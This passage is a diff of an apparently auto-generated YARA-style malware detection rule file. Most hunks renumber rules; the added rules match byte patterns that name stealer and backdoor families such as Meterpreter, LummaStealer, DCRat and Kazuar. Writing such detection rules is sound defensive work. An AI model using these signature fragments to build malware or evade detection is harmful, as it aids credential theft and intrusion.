"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25155,7 +25422,7 @@ rule _InfrastructureShared_2424{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2425{ +rule _InfrastructureShared_2449{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25165,7 +25432,7 @@ rule _InfrastructureShared_2425{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2426{ +rule _InfrastructureShared_2450{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25175,7 +25442,7 @@ rule _InfrastructureShared_2426{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2427{ +rule _InfrastructureShared_2451{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25185,7 +25452,7 @@ rule _InfrastructureShared_2427{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2428{ +rule _InfrastructureShared_2452{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25195,7 +25462,7 @@ rule _InfrastructureShared_2428{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2429{ +rule _InfrastructureShared_2453{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25205,7 +25472,7 @@ rule _InfrastructureShared_2429{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2430{ +rule _InfrastructureShared_2454{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25215,7 +25482,7 @@ rule _InfrastructureShared_2430{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2431{ +rule _InfrastructureShared_2455{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25225,7 +25492,7 @@ rule _InfrastructureShared_2431{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2432{ +rule _InfrastructureShared_2456{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25235,7 +25502,7 @@ rule _InfrastructureShared_2432{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2433{ +rule _InfrastructureShared_2457{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25245,7 +25512,7 @@ rule _InfrastructureShared_2433{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2434{ +rule _InfrastructureShared_2458{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25255,7 +25522,7 @@ rule _InfrastructureShared_2434{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2435{ +rule _InfrastructureShared_2459{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25265,7 +25532,7 @@ rule _InfrastructureShared_2435{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2436{ +rule _InfrastructureShared_2460{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25275,7 +25542,7 @@ rule _InfrastructureShared_2436{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2437{ +rule _InfrastructureShared_2461{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25285,7 +25552,7 @@ rule _InfrastructureShared_2437{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2438{ +rule _InfrastructureShared_2462{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25295,7 +25562,7 @@ rule _InfrastructureShared_2438{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2439{ +rule _InfrastructureShared_2463{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25305,7 +25572,7 @@ rule _InfrastructureShared_2439{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2440{ +rule _InfrastructureShared_2464{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25315,7 +25582,7 @@ rule _InfrastructureShared_2440{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2441{ +rule _InfrastructureShared_2465{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25325,7 +25592,7 @@ rule _InfrastructureShared_2441{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2442{ +rule _InfrastructureShared_2466{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25335,7 +25602,7 @@ rule _InfrastructureShared_2442{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2443{ +rule _InfrastructureShared_2467{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25345,7 +25612,7 @@ rule _InfrastructureShared_2443{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2444{ +rule _InfrastructureShared_2468{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25355,7 +25622,7 @@ rule _InfrastructureShared_2444{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2445{ +rule _InfrastructureShared_2469{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25365,7 +25632,7 @@ rule _InfrastructureShared_2445{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2446{ +rule _InfrastructureShared_2470{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25375,7 +25642,7 @@ rule _InfrastructureShared_2446{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2447{ +rule _InfrastructureShared_2471{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25385,7 +25652,7 @@ rule _InfrastructureShared_2447{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2448{ +rule _InfrastructureShared_2472{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25395,7 +25662,7 @@ rule _InfrastructureShared_2448{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2449{ +rule _InfrastructureShared_2473{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25405,7 +25672,7 @@ rule _InfrastructureShared_2449{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2450{ +rule _InfrastructureShared_2474{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25415,7 +25682,7 @@ rule _InfrastructureShared_2450{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2451{ +rule _InfrastructureShared_2475{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25425,7 +25692,7 @@ rule _InfrastructureShared_2451{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2452{ +rule _InfrastructureShared_2476{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25435,7 +25702,7 @@ rule _InfrastructureShared_2452{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2453{ +rule _InfrastructureShared_2477{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25445,7 +25712,7 @@ rule _InfrastructureShared_2453{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2454{ +rule _InfrastructureShared_2478{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25455,7 +25722,7 @@ rule _InfrastructureShared_2454{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2455{ +rule _InfrastructureShared_2479{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25465,7 +25732,7 @@ rule _InfrastructureShared_2455{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2456{ +rule _InfrastructureShared_2480{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25475,17 +25742,27 @@ rule _InfrastructureShared_2456{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2457{ +rule _InfrastructureShared_2481{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_54_0 = {3a 57 69 6e 36 34 2f 4d 65 74 65 72 70 72 65 74 65 72 21 4b 65 72 6e 65 6c 33 32 2e 56 69 72 74 75 61 6c 41 6c 6c 6f 63 00 01 00 06 01 41 ba 58 a4 53 e5 00 00 78 41 00 00 01 00 01 00 01 00 21 23 49 6e 6a 65 63 74 6f 72 2e 44 45 00 01 00 27 0b 75 f1 } //18467 + $a_54_0 = {3a 57 69 6e 36 34 2f 4d 65 74 65 72 70 72 65 74 65 72 21 4b 65 72 6e 65 6c 33 32 2e 56 69 72 74 75 61 6c 41 6c 6c 6f 63 00 01 00 06 01 41 ba 58 a4 53 e5 00 00 78 41 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 5a 75 73 79 2e 48 42 21 4d 54 42 00 01 } //18467 condition: ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2458{ +rule _InfrastructureShared_2482{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 5a 75 73 79 2e 48 42 21 4d 54 42 00 01 00 22 03 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 90 02 20 2f 00 90 02 0a 2e 00 74 00 78 00 74 90 00 00 00 78 41 00 00 01 00 01 00 01 00 21 23 49 6e 6a 65 63 74 6f 72 2e 44 45 00 01 00 27 0b 75 f1 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_2483{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25495,7 +25772,7 @@ rule _InfrastructureShared_2458{ ((#a_6a_0 & 1)*18723) >=1 } -rule _InfrastructureShared_2459{ +rule _InfrastructureShared_2484{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25505,7 +25782,7 @@ rule _InfrastructureShared_2459{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2460{ +rule _InfrastructureShared_2485{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25515,7 +25792,7 @@ rule _InfrastructureShared_2460{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2461{ +rule _InfrastructureShared_2486{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25525,7 +25802,7 @@ rule _InfrastructureShared_2461{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2462{ +rule _InfrastructureShared_2487{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25535,7 +25812,7 @@ rule _InfrastructureShared_2462{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2463{ +rule _InfrastructureShared_2488{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25545,7 +25822,7 @@ rule _InfrastructureShared_2463{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2464{ +rule _InfrastructureShared_2489{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25555,7 +25832,7 @@ rule _InfrastructureShared_2464{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2465{ +rule _InfrastructureShared_2490{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25565,7 +25842,7 @@ rule _InfrastructureShared_2465{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2466{ +rule _InfrastructureShared_2491{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25575,7 +25852,17 @@ rule _InfrastructureShared_2466{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2467{ +rule _InfrastructureShared_2492{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_6f_0 = {61 6e 3a 4d 53 49 4c 2f 53 74 65 61 6c 65 72 63 2e 41 49 41 49 21 4d 54 42 00 01 00 15 01 61 d2 52 07 17 58 0b 07 02 7b 66 02 00 04 8e 69 32 d9 06 17 58 00 00 78 41 00 00 01 00 01 00 01 00 21 23 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 42 61 6e 63 6f 73 2e 67 65 6e 21 4b 5f 32 00 01 00 14 01 43 3a 5c 40 70 72 6f 67 23 72 61 6d 40 73 } //21539 + condition: + ((#a_6f_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_2493{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25585,7 +25872,7 @@ rule _InfrastructureShared_2467{ ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2468{ +rule _InfrastructureShared_2494{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -25596,7 +25883,7 @@ rule _InfrastructureShared_2468{ ((#a_67_0 & 1)*16675+(#a_d4_1 & 1)*22068) >=1 } -rule _InfrastructureShared_2469{ +rule _InfrastructureShared_2495{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -25607,7 +25894,7 @@ rule _InfrastructureShared_2469{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*16982) >=1 } -rule _InfrastructureShared_2470{ +rule _InfrastructureShared_2496{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 01 00 02 00 21 " @@ -25618,7 +25905,7 @@ rule _InfrastructureShared_2470{ ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*28281) >=1 } -rule _InfrastructureShared_2471{ +rule _InfrastructureShared_2497{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -25628,17 +25915,27 @@ rule _InfrastructureShared_2471{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_2472{ +rule _InfrastructureShared_2498{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 43 52 61 74 2e 52 44 4e 21 4d 54 42 00 02 00 15 03 25 11 08 17 73 90 01 04 13 56 11 56 11 15 16 11 15 8e 69 90 00 00 00 78 41 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 50 57 53 3a 4d 65 6d } //16675 + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 43 52 61 74 2e 52 44 4e 21 4d 54 42 00 02 00 15 03 25 11 08 17 73 90 01 04 13 56 11 56 11 15 16 11 15 8e 69 90 00 00 00 78 41 00 00 02 00 02 00 01 00 21 23 54 72 6f 6a 61 6e 3a 4d 53 49 4c } //16675 condition: ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_2473{ +rule _InfrastructureShared_2499{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_6f_0 = {61 6e 3a 4d 53 49 4c 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 41 49 41 47 21 4d 54 42 00 02 00 11 01 61 d2 9c 11 06 17 58 13 06 11 04 17 58 13 04 11 06 00 00 78 41 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 50 57 53 3a 4d 65 6d 65 61 6c 00 01 00 0e 01 43 4d 65 6d 6f 72 79 45 78 65 63 75 74 65 01 00 12 01 5c 50 72 6f 6a 65 63 74 73 5c 53 74 } //21539 + condition: + ((#a_6f_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_2500{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -25649,7 +25946,7 @@ rule _InfrastructureShared_2473{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*28772) >=2 } -rule _InfrastructureShared_2474{ +rule _InfrastructureShared_2501{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -25660,7 +25957,7 @@ rule _InfrastructureShared_2474{ ((#a_5f_0 & 1)*16931+(#a_69_1 & 1)*19826) >=2 } -rule _InfrastructureShared_2475{ +rule _InfrastructureShared_2502{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -25671,7 +25968,7 @@ rule _InfrastructureShared_2475{ ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*17474) >=2 } -rule _InfrastructureShared_2476{ +rule _InfrastructureShared_2503{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -25682,7 +25979,7 @@ rule _InfrastructureShared_2476{ ((#a_54_0 & 1)*18467+(#a_46_1 & 1)*13382) >=2 } -rule _InfrastructureShared_2477{ +rule _InfrastructureShared_2504{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -25693,7 +25990,7 @@ rule _InfrastructureShared_2477{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*30038) >=2 } -rule _InfrastructureShared_2478{ +rule _InfrastructureShared_2505{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -25704,7 +26001,7 @@ rule _InfrastructureShared_2478{ ((#a_54_0 & 1)*18467+(#a_4f_1 & 1)*24948) >=2 } -rule _InfrastructureShared_2479{ +rule _InfrastructureShared_2506{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 21 " @@ -25714,7 +26011,7 @@ rule _InfrastructureShared_2479{ ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_2480{ +rule _InfrastructureShared_2507{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 21 " @@ -25724,7 +26021,7 @@ rule _InfrastructureShared_2480{ ((#a_46_0 & 1)*21283) >=3 } -rule _InfrastructureShared_2481{ +rule _InfrastructureShared_2508{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 21 " @@ -25734,7 +26031,7 @@ rule _InfrastructureShared_2481{ ((#a_5f_0 & 1)*25635) >=3 } -rule _InfrastructureShared_2482{ +rule _InfrastructureShared_2509{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -25746,7 +26043,7 @@ rule _InfrastructureShared_2482{ ((#a_54_0 & 1)*18467+(#a_5f_1 & 1)*25972+(#a_46_2 & 1)*16675) >=3 } -rule _InfrastructureShared_2483{ +rule _InfrastructureShared_2510{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -25758,7 +26055,7 @@ rule _InfrastructureShared_2483{ ((#a_46_0 & 1)*21283+(#a_53_1 & 1)*14962+(#a_42_2 & 1)*19745) >=3 } -rule _InfrastructureShared_2484{ +rule _InfrastructureShared_2511{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -25768,7 +26065,7 @@ rule _InfrastructureShared_2484{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_2485{ +rule _InfrastructureShared_2512{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -25778,7 +26075,7 @@ rule _InfrastructureShared_2485{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_2486{ +rule _InfrastructureShared_2513{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -25788,7 +26085,7 @@ rule _InfrastructureShared_2486{ ((#a_54_0 & 1)*18467) >=5 } -rule _InfrastructureShared_2487{ +rule _InfrastructureShared_2514{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -25798,7 +26095,7 @@ rule _InfrastructureShared_2487{ ((#a_4c_0 & 1)*21539) >=5 } -rule _InfrastructureShared_2488{ +rule _InfrastructureShared_2515{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -25808,7 +26105,7 @@ rule _InfrastructureShared_2488{ ((#a_4c_0 & 1)*21539) >=5 } -rule _InfrastructureShared_2489{ +rule _InfrastructureShared_2516{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -25818,7 +26115,7 @@ rule _InfrastructureShared_2489{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_2490{ +rule _InfrastructureShared_2517{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -25828,7 +26125,7 @@ rule _InfrastructureShared_2490{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_2491{ +rule _InfrastructureShared_2518{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -25838,7 +26135,7 @@ rule _InfrastructureShared_2491{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_2492{ +rule _InfrastructureShared_2519{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25848,7 +26145,17 @@ rule _InfrastructureShared_2492{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2493{ +rule _InfrastructureShared_2520{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 4b 61 7a 75 61 72 2e 4a 21 64 68 61 00 01 00 14 03 41 89 c1 89 ca ff c0 8a 54 14 90 01 01 42 30 14 0b e9 90 00 00 00 78 42 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f } //16675 + condition: + ((#a_46_0 & 1)*16675) >=1 + +} +rule _InfrastructureShared_2521{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25858,7 +26165,7 @@ rule _InfrastructureShared_2493{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2494{ +rule _InfrastructureShared_2522{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25868,7 +26175,7 @@ rule _InfrastructureShared_2494{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2495{ +rule _InfrastructureShared_2523{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25878,7 +26185,7 @@ rule _InfrastructureShared_2495{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2496{ +rule _InfrastructureShared_2524{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25888,7 +26195,7 @@ rule _InfrastructureShared_2496{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2497{ +rule _InfrastructureShared_2525{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25898,7 +26205,7 @@ rule _InfrastructureShared_2497{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2498{ +rule _InfrastructureShared_2526{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25908,17 +26215,7 @@ rule _InfrastructureShared_2498{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2499{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 65 61 6c 43 2e 47 4a 21 4d 54 42 00 01 00 15 01 8b 45 0c 57 8d 14 06 e8 be ff ff ff 30 02 46 59 3b 75 10 72 eb 00 00 78 42 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e } //16675 - condition: - ((#a_46_0 & 1)*16675) >=1 - -} -rule _InfrastructureShared_2500{ +rule _InfrastructureShared_2527{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25928,7 +26225,7 @@ rule _InfrastructureShared_2500{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2501{ +rule _InfrastructureShared_2528{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25938,7 +26235,7 @@ rule _InfrastructureShared_2501{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2502{ +rule _InfrastructureShared_2529{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25948,7 +26245,7 @@ rule _InfrastructureShared_2502{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2503{ +rule _InfrastructureShared_2530{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25958,7 +26255,7 @@ rule _InfrastructureShared_2503{ ((#a_63_0 & 1)*16931) >=1 } -rule _InfrastructureShared_2504{ +rule _InfrastructureShared_2531{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25968,7 +26265,7 @@ rule _InfrastructureShared_2504{ ((#a_6d_0 & 1)*16931) >=1 } -rule _InfrastructureShared_2505{ +rule _InfrastructureShared_2532{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25978,7 +26275,7 @@ rule _InfrastructureShared_2505{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2506{ +rule _InfrastructureShared_2533{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25988,7 +26285,7 @@ rule _InfrastructureShared_2506{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2507{ +rule _InfrastructureShared_2534{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -25998,7 +26295,7 @@ rule _InfrastructureShared_2507{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2508{ +rule _InfrastructureShared_2535{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26008,7 +26305,7 @@ rule _InfrastructureShared_2508{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2509{ +rule _InfrastructureShared_2536{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26018,7 +26315,7 @@ rule _InfrastructureShared_2509{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2510{ +rule _InfrastructureShared_2537{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -26028,7 +26325,7 @@ rule 